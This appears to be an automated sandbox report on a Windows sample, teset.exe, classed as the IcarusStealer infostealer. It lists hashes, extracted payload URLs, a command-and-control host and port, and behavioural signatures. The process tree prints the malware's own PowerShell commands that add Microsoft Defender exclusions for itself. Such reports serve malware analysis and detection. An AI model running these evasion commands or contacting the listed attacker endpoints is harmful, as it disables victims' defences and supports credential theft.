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Overview

overview

10

Static

static

3

teset.exe

windows10-1703-x64

10

teset.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    157s
  • max time network
    198s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    05/03/2024, 19:32

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General

  • Target

    teset.exe

  • Size

    690.0MB

  • MD5

    359d0c3424b46b9947f63aac496ccd48

  • SHA1

    79dec290fdf8c12e3949321e8df5bcaf7ccc1d18

  • SHA256

    359ad5a8f9bf0c74f4963db5bd5d81c31576f78e4e2e631409f3700821ed7f43

  • SHA512

    f0ac2b6c0fdff47562c97007311ef91b71279e52de83312789973d5183f285a007654da341c21b3c0697909092b34d8ee00c03a30d58f51e813aa3b2e9e9b8e7

  • SSDEEP

    12288:rmJUQBuLut6N6LqQzJqkKAulc84bYBbuB1t4cWWzDKuVAccIpGNJ+Qh:4BZ6N6LqQzJqkW

Score
10/10
icarusstealerpersistencestealer

Malware Config

Extracted

Family

icarusstealer

Attributes
  • payload_url

    https://blackhatsec.org/add.jpg

    https://blackhatsec.org/remove.jpg

Signatures

  • IcarusStealer

    Icarus is a modular stealer written in C# First adverts in July 2022.

    stealericarusstealer
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Executes dropped EXE 1 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 14 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 29 IoCs
  • Suspicious use of FindShellTrayWindow 28 IoCs
  • Suspicious use of SendNotifyMessage 23 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\teset.exe
    "C:\Users\Admin\AppData\Local\Temp\teset.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1048
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\edjsz104\edjsz104.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2512
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5C73.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCB9A2E15A735E4995A52CC6F4422C2DE.TMP"
        3⤵
          PID:3940
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        2⤵
        • Modifies Installed Components in the registry
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2912
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client case-shield.gl.at.ply.gg 26501 PUGlcQLxe
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4276
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4540
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3008
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3708
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4492
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /k start /b C:\Users\Admin\AppData\Local\Temp\Start.exe & exit
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1612
        • C:\Users\Admin\AppData\Local\Temp\Start.exe
          C:\Users\Admin\AppData\Local\Temp\Start.exe
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3140
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:2168

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
      Filesize

      2KB

      MD5

      ac4917a885cf6050b1a483e4bc4d2ea5

      SHA1

      b1c0a9f27bd21c6bbb8e9be70db8777b4a2a640f

      SHA256

      e39062a62c3c7617feeeff95ea8a0be51104a0d36f46e44eea22556fda74d8d9

      SHA512

      092c67a3ecae1d187cad72a8ea1ea37cb78a0cf79c2cd7fb88953e5990669a2e871267015762fd46d274badb88ac0c1d73b00f1df7394d89bed48a3a45c2ba3d

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      16KB

      MD5

      f81c2199c8d93580f17d1c9bd9236fc7

      SHA1

      6cd91644aed108fa61a598a1a270806ee82bc155

      SHA256

      b48c944af128b8d5fc400f823a075256e3450fce7a09baa95134bae34bf45201

      SHA512

      f0ca4677649f07444e2dad3a760d37345a60c8f4330ff661cc012580621ed3b66059371a56d9d809e6e1821b9fbb54f2690c5f06a940dfa754a567192c9465f0

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\RES5C73.tmp
      Filesize

      1KB

      MD5

      e302048b2cac49e912972da876e4df5e

      SHA1

      a2f7f06207f784c76a0ea8ff8f4321ce30304b10

      SHA256

      97eaa45feb7037c90277792f14ef9af3fde2f87c79de2b67ac0b08ee1b4b99f9

      SHA512

      6c6b7f6bf05a9c60810443e25f1de5d16a22026489bb07a8a9926e95727db8677fa1b022c0b2f33634265b6b6c6058f0ef18b8c6a5d6ec0ab8f04cbda90b6cca

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\Start.exe
      Filesize

      4KB

      MD5

      deeda4305eac10d9ece82447104817b2

      SHA1

      a609144480cc2b713b382e81af0f0d23194fea7e

      SHA256

      f951cdd69ab7af8a591aa907db13de654faea55ffb0b94a4dcd3c536408d229d

      SHA512

      51e4d0d82f94a13dd6ccf91f82e8f9d3ee886242901a1765114a9a2e008e24cb2378b830769b90eb3b6a4039d5d14a83f3a55ed773a29750cf90fbf2cc97298b

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q32pjvt3.dxe.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • \??\c:\Users\Admin\AppData\Local\Temp\CSCB9A2E15A735E4995A52CC6F4422C2DE.TMP
      Filesize

      1KB

      MD5

      810535a8ae563d6aa53635a1bb1206ff

      SHA1

      f5ba39f1a455eb61efe5022b524892249ee75dce

      SHA256

      7f2c2a29a5f1c0d994fa4c2fccc11a8f3f5f5d4d97ada18aea94971664c8992f

      SHA512

      5662b39b29d33bff2e8de4cf3878a6e58b7a163cc93311f4c82f03e73b239a76bb9064ed0c4a6d01cceb858663462345cae78999cfa3668ef975cf85dfff138d

      Download Submit

    • \??\c:\Users\Admin\AppData\Local\Temp\edjsz104\edjsz104.0.cs
      Filesize

      1KB

      MD5

      14846c9faaef9299a1bf17730f20e4e6

      SHA1

      8083da995cfaa0e8e469780e32fcff1747850eb6

      SHA256

      61bc7b23a430d724b310e374a67a60dd1e1f883c6dd3a98417c8579ba4973c1b

      SHA512

      549d99dbb7376d9d6106ad0219d6cf22eb70c80d54c9ad8c7d0b04a33d956515e55c9608ab6eec0733f2c23602867eb85b43e58200ded129958c7de7ed22efb1

      Download Submit

    • \??\c:\Users\Admin\AppData\Local\Temp\edjsz104\edjsz104.cmdline
      Filesize

      447B

      MD5

      31171de3523f966bfb770bbcacf48586

      SHA1

      35ab28f83be90e71f4656894a093c16a0febedc9

      SHA256

      aca9685dbc6b4be809ceb71aa9ceb0568e47de278ae615d822c54a27a25d6e15

      SHA512

      d8e2aa83d68b51b2168de9ee824bebe232f5f5b3d0c000e6b772a6b33ebfd5f112bfde33120268cadab286221ff81f26950c533402339f93950f5bbf21c7dd29

      Download Submit

    • memory/1048-1-0x0000000074C00000-0x00000000753B1000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/1048-30-0x0000000074C00000-0x00000000753B1000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/1048-4-0x0000000005870000-0x0000000005880000-memory.dmp

      Filesize

      64KB

      Download

    • memory/1048-0-0x0000000000AD0000-0x0000000000B52000-memory.dmp

      Filesize

      520KB

      Download

    • memory/1048-3-0x0000000005650000-0x00000000056E2000-memory.dmp

      Filesize

      584KB

      Download

    • memory/1048-2-0x00000000055B0000-0x000000000564C000-memory.dmp

      Filesize

      624KB

      Download

    • memory/1048-5-0x0000000007240000-0x00000000077E6000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/3008-91-0x0000000007CE0000-0x0000000007CFA000-memory.dmp

      Filesize

      104KB

      Download

    • memory/3008-90-0x0000000007BE0000-0x0000000007BF5000-memory.dmp

      Filesize

      84KB

      Download

    • memory/3008-93-0x0000000007CD0000-0x0000000007CD8000-memory.dmp

      Filesize

      32KB

      Download

    • memory/3008-31-0x0000000074C00000-0x00000000753B1000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/3008-99-0x0000000074C00000-0x00000000753B1000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/3008-73-0x000000007F0F0000-0x000000007F100000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3008-34-0x0000000003240000-0x0000000003250000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3008-35-0x0000000003240000-0x0000000003250000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3008-89-0x0000000007BD0000-0x0000000007BDE000-memory.dmp

      Filesize

      56KB

      Download

    • memory/3008-29-0x0000000002E10000-0x0000000002E46000-memory.dmp

      Filesize

      216KB

      Download

    • memory/3008-39-0x0000000005880000-0x00000000058A2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/3008-54-0x00000000060C0000-0x0000000006126000-memory.dmp

      Filesize

      408KB

      Download

    • memory/3008-86-0x0000000007A10000-0x0000000007A1A000-memory.dmp

      Filesize

      40KB

      Download

    • memory/3008-56-0x00000000061C0000-0x0000000006517000-memory.dmp

      Filesize

      3.3MB

      Download

    • memory/3008-58-0x0000000006640000-0x000000000665E000-memory.dmp

      Filesize

      120KB

      Download

    • memory/3008-85-0x00000000054C0000-0x00000000054DA000-memory.dmp

      Filesize

      104KB

      Download

    • memory/3008-75-0x00000000700A0000-0x00000000700EC000-memory.dmp

      Filesize

      304KB

      Download

    • memory/3140-24-0x0000000000D20000-0x0000000000D28000-memory.dmp

      Filesize

      32KB

      Download

    • memory/3140-103-0x00000000015D0000-0x00000000015E0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3140-101-0x00007FF89DF40000-0x00007FF89EA02000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3140-25-0x00007FF89DF40000-0x00007FF89EA02000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/4276-92-0x0000000005910000-0x0000000005920000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4276-72-0x0000000074C00000-0x00000000753B1000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4276-18-0x0000000000400000-0x0000000000424000-memory.dmp

      Filesize

      144KB

      Download

    • memory/4276-19-0x0000000074C00000-0x00000000753B1000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4276-20-0x0000000005910000-0x0000000005920000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4492-71-0x0000000006350000-0x000000000636E000-memory.dmp

      Filesize

      120KB

      Download

    • memory/4492-84-0x0000000007750000-0x0000000007DCA000-memory.dmp

      Filesize

      6.5MB

      Download

    • memory/4492-88-0x00000000072E0000-0x00000000072F1000-memory.dmp

      Filesize

      68KB

      Download

    • memory/4492-36-0x0000000074C00000-0x00000000753B1000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4492-33-0x0000000002530000-0x0000000002540000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4492-32-0x0000000004F40000-0x000000000556A000-memory.dmp

      Filesize

      6.2MB

      Download

    • memory/4492-55-0x00000000058C0000-0x0000000005926000-memory.dmp

      Filesize

      408KB

      Download

    • memory/4492-87-0x0000000007350000-0x00000000073E6000-memory.dmp

      Filesize

      600KB

      Download

    • memory/4492-59-0x00000000062C0000-0x000000000630C000-memory.dmp

      Filesize

      304KB

      Download

    • memory/4492-100-0x0000000074C00000-0x00000000753B1000-memory.dmp

      Filesize

      7.7MB

      Download

    • memory/4492-62-0x00000000700A0000-0x00000000700EC000-memory.dmp

      Filesize

      304KB

      Download

    • memory/4492-60-0x0000000002530000-0x0000000002540000-memory.dmp

      Filesize

      64KB

      Download

    • memory/4492-61-0x0000000006D30000-0x0000000006D64000-memory.dmp

      Filesize

      208KB

      Download

    • memory/4492-74-0x0000000007020000-0x00000000070C4000-memory.dmp

      Filesize

      656KB

      Download